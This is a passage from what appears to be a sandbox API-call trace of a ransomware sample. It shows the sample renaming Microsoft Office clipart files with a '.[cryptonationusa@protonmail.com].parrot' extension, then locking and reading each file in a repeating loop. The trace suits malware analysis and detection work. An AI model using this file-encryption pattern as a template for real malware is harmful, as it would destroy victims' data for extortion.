Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.778] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x205e, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.778] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.779] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.779] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f46, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f46, lpOverlapped=0x0) returned 1 [0140.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.780] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.781] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x205e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.781] CloseHandle (hObject=0x288) returned 1 [0140.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.785] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.785] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.787] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x24e2, lpOverlapped=0x0) returned 1 [0140.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.833] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.833] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.833] CloseHandle (hObject=0x288) returned 1 [0140.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.885] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9c52, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.885] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.885] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.887] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b3a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9b3a, lpOverlapped=0x0) returned 1 [0140.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.889] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.889] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9c52, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.889] CloseHandle (hObject=0x288) returned 1 [0140.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a3268 [0140.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.893] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x159c, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.893] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.893] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.896] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.896] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1484, lpOverlapped=0x0) returned 1 [0140.896] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.897] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.897] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x159c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.897] CloseHandle (hObject=0x288) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.897] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.902] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeb2, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.902] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.902] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.903] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.903] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd9a, lpOverlapped=0x0) returned 1 [0140.903] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.904] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.904] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeb2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.904] CloseHandle (hObject=0x288) returned 1 [0140.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.907] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.907] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.907] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.909] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.909] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ca8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ca8, lpOverlapped=0x0) returned 1 [0140.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.910] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.910] CloseHandle (hObject=0x288) returned 1 [0140.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0140.914] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8bee, nNumberOfBytesToLockHigh=0x0) returned 1 [0140.914] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0140.914] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0140.915] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.915] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ad6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8ad6, lpOverlapped=0x0) returned 1 [0140.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0140.996] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0140.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0140.997] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8bee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0140.997] CloseHandle (hObject=0x288) returned 1 [0140.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0140.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0140.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.001] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe401, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.002] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.002] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.003] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.003] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2e9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe2e9, lpOverlapped=0x0) returned 1 [0141.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.007] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.008] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe401, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.008] CloseHandle (hObject=0x288) returned 1 [0141.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.012] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66be, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.012] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.012] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.022] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x65a6, lpOverlapped=0x0) returned 1 [0141.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.026] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.026] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.026] CloseHandle (hObject=0x288) returned 1 [0141.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.088] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x92a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.088] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.088] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.090] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.090] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x918c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x918c, lpOverlapped=0x0) returned 1 [0141.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.093] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x92a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.093] CloseHandle (hObject=0x27c) returned 1 [0141.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.097] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ec2, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.098] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.099] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1daa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1daa, lpOverlapped=0x0) returned 1 [0141.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.100] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ec2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.100] CloseHandle (hObject=0x27c) returned 1 [0141.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.101] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.105] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x117e, 